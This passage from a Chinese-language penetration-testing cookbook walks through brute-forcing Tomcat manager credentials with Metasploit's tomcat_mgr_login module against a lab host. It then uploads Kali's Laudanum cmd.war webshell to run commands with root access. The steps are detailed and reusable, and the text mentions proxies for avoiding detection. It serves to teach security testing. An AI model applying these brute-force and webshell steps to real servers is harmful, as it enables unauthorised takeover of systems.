    set rhosts 192.168.56.102
  5. 為了使它更快,但是不要太快,我們增加執行緒數:

    set threads 5
  6. 同時,我們不希望讓我們的伺服器由於太多請求而崩潰,所以我們降低爆破的速度:

    set bruteforce_speed 3 
  7. 剩餘引數剛好適用於我們的情況,讓我們執行攻擊:

    run

    在一些嘗試中失敗之後,我們發現了有效的密碼,它使用[+]標記。

工作原理

通常 Tomcat 使用 TCP 8080,它的管理器應用位於/manager/html中。這個應用使用基本的 HTTP 驗證。我們剛剛使用的 Metasploit 輔助模組(tomcat_mgr_login)有一些值得提及的配置項:

  • BLANK_PASSWORDS:對每個嘗試的使用者新增空密碼測試。

  • PASSWORD:如果我們打算測試多個使用者的單一密碼,或者新增列表中沒有包含的專案,這就很實用。

  • PASS_FILE:用於測試的密碼列表。

  • Proxies:如果我們需要通過代理來訪問我們的目標,或者避免檢測,就用這個選項。

  • RHOSTS:單個主機,或多個(使用空格分隔),或者我們想要測試的主機列表檔案(/path/to/file/with/hosts)。

  • RPORT:Tomcat 所使用的 TCP 埠。

  • STOP_ON_SUCCESS:發現有效密碼之後停止嘗試。

  • TARGERURI:主機中管理器應用的位置。

  • USERNAME指定特殊的使用者名稱來測試,它可以被單獨測試,或者新增到定義在USER_FILE的列表中。

  • USER_PASS_FILE:包含要被測試的“使用者名稱 密碼”組合的檔案。

  • USER_AS_PASS:將每個列表中的使用者名稱作為密碼嘗試。

另見

這個攻擊也可以由 Hydra 執行,使用http-head作為服務,-L選項來載入使用者列表,-P選項來載入密碼。

6.10 使用 Tomcat 管理器來執行程式碼

上一個祕籍中,我們獲得了 Tomcat 管理器的身份認證,並提到了它可以讓我們在伺服器中執行程式碼。這個祕籍中,我們會使用它來登入管理器並上傳新的應用,這允許我們在伺服器中執行作業系統命令。

操作步驟

  1. 訪問http://192.168.56.102:8080/manager/html

  2. 被詢問使用者名稱和密碼時,使用上一個祕籍中獲得的:rootowaspbwa

  3. 一旦進入了管理器,尋找WAR file to deploy並點選Browse按鈕。

  4. Kali 在/usr/share/laudanum包含了一些 webshall,在這裡瀏覽它們並選擇檔案/usr/share/laudanum/jsp/cmd.war

  5. 載入之後點選Deploy

  6. 確儲存在新的叫做cmd的應用。

  7. 讓我們試一試,訪問http://192.168.56.102:8080/cmd/cmd.jsp

  8. 在文字框中嘗試命令,例如ifconfig

  9. 我們可以看到,我們可以執行命令,但是為了弄清楚我們擁有什麼使用者和什麼許可權,嘗試whoami命令:

    我們可以看到,Tomcat 在這臺伺服器中執行在 root 許可權下。這意味著我們這裡擁有它的全部控制權,並且能夠執行任何操作,例如建立或刪除使用者,安裝軟體,配置作業系統選項,以及其它。

工作原理

一旦我們獲得了 Tomcat 管理器的身份認證,攻擊過程就相當直接了。我們僅僅需要足以讓我們上傳它的應用。Laudanum 預設包含在 Kali 中,是多種語言和型別的 webshell 的集合,包括 PHP、ASP、 ASP.NET 和 JSP。對滲透測試者來說,什麼比 webshell 更有用呢?

Tomcat 能夠接受以 WAR(Web 應用歸檔)格式打包的 Java Web 應用並將其部署到伺服器上。我們剛剛使用了這一特性來上傳 Laudanum 中的 webshell。在它上傳和部署之後,我們瀏覽它並且通過執行系統命令,我們發現我們擁有這個系統的 root 訪問。


相關文章